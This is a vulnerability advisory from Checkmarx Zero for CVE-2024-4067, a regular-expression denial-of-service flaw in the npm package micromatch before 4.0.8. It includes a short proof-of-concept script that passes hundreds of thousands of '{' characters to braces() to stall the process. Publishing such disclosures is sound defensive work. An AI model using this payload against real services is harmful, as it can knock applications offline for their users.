--- title: "CVE-2024-4067" date: "2024-04-28T07:00:00+00:00" url: "https://checkmarx.com/zero/vulnerabilities/cve-2024-4067/" --- # CVE-2024-4067 [Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/) Fixed: Aug 23, 2024 CVE-2024-4067 **Published:** Apr 28, 2024 CWE-1333 Inefficient Regular Expression Complexity 7.5 High Severity denial of service dos javascript npm redos regex regular expression MT Mário Teixeira Reported by Checkmarx Zero Details Overview ## Summary The NPM package `micromatch` prior to 4.0.8 is vulnerable to Regular Expression Denial of Service (ReDoS). The vulnerability occurs in `micromatch.braces()` in `index.js` because the pattern `.*` will greedily match anything, which can cause the application to hang or slow down. This issue should be mitigated by using a safe pattern that won’t start backtracking the regular expression due to its greedy matching. ## Product This vulnerability affects versions of the NPM package `micromatch` prior to 4.0.8. ## Impact This vulnerability can cause the application to hang or slow down, resulting in a Denial of Service. ## Steps to reproduce 1. Install micromatch with “npm”: `npm install --save micromatch` 2. Create a `poc.js` file with the following code: ```javascript const { braces } = require('micromatch'); console.log("Executing payloads..."); const maxRepeats = 10; for (let repeats = 1; repeats <= maxRepeats; repeats += 1) { const payload = '{'.repeat(repeats*90000); console.log(`Testing with ${repeats} repeats...`); const startTime = Date.now(); braces(payload); const endTime = Date.now(); const executionTime = endTime - startTime; console.log(`Regex executed in ${executionTime / 1000}s.n`); } ``` 3. Execute the proof-of-concept file with `node poc.js`. ### Expected result: When executing the proof-of-concept, observe how the response becomes slower on each iteration. If you change the braces `{` on the `payload` variable to another character, such as `a`, the script should execute immediately. ## Remediation A [fix was merged](https://github.com/micromatch/micromatch/commit/81e4d93b2c7a32d290337c0b2a2102e1b584b423) in the pattern matching. However, further testing shows the issue still persists. ## Credit This issue was discovered and reported by Checkmarx AppSec Analyst [Mário Teixeira](https://www.linkedin.com/in/marioleitao-teixeira/). ## Resources 1. [Pull Request](https://github.com/micromatch/micromatch/pull/266) 2. [Commit](https://github.com/micromatch/micromatch/commit/03aa8052171e878897eee5d7bb2ae0ae83ec2ade) 3. [Release Note](https://github.com/micromatch/micromatch/releases/tag/4.0.8) 4. [Advisory](https://github.com/advisories/GHSA-952p-6rrq-rcjv) 0 High Severity CVSS v3.1 Score 7.5 CVSS v3.1 Vectors- Attack Vector: Network - Attack Complexity: Low - Privileges Required: None - User Interaction: None - Scope: Unchanged - Confidentiality Impact: None - Integrity Impact: None - Availability Impact: High Advisory Timeline1. Discovered Jul 28, 2023 2. Disclosed Aug 7, 2023 The vulnerability was privately disclosed to the maintainer. 3. Published Apr 29, 2024 The vulnerability was first disclosed with a CVE. 4. Fixed Aug 23, 2024 The vulnerability was fixed with release 4.0.8. ## Explore more findings [27 Nov 2025 CVE-2025-34281 Stored Cross-Site Scripting (XSS) in ThingsBoard 6.2 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825 HTTP Response Splitting in cpp-httplib 6.9 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050 Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface 4.8 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374 Code Injection in UltiMaker Cura 7.8 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526 Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497 Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496 Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [ 14 Nov 2024 CVE-2024-51495 Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field 7.5 Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/) [14 Nov 2024 CVE-2024-51494 Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51494/) [14 Nov 2024 CVE-2024-50352 Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Section of Device Overview 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50352/) [14 Nov 2024 CVE-2024-50351 Reflected Cross-site Scripting in @LibreNMS/LibreNMS Logs Tab 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50351/) [14 Nov 2024 CVE-2024-50350 Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings Port Group 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50350/)